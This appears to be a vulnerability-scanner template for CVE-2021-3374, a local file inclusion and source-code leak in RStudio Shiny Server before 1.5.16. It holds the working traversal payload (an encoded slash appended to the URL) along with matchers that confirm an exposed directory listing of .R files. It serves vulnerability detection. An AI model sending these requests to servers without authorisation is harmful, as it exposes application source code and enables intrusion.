id: CVE-2021-3374

info:
  name: Rstudio Shiny Server <1.5.16 - Local File Inclusion
  author: geeknik
  severity: medium
  description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
  reference:
    - https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
    - https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3374
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3374
    cwe-id: CWE-22
    cpe: cpe:2.3:a:rstudio:shiny_server:*:*:*:*:*:*:*:*
    epss-score: 0.00194
  tags: cve,cve2021,rstudio,traversal
  metadata:
    max-request: 2

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2f/"
      - "{{BaseURL}}/sample-apps/hello/%2f/"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Index of /"
      - type: regex
        part: body
        regex:
          - "[A-Za-z].*\\.R"

# Enhanced by mp on 2022/07/22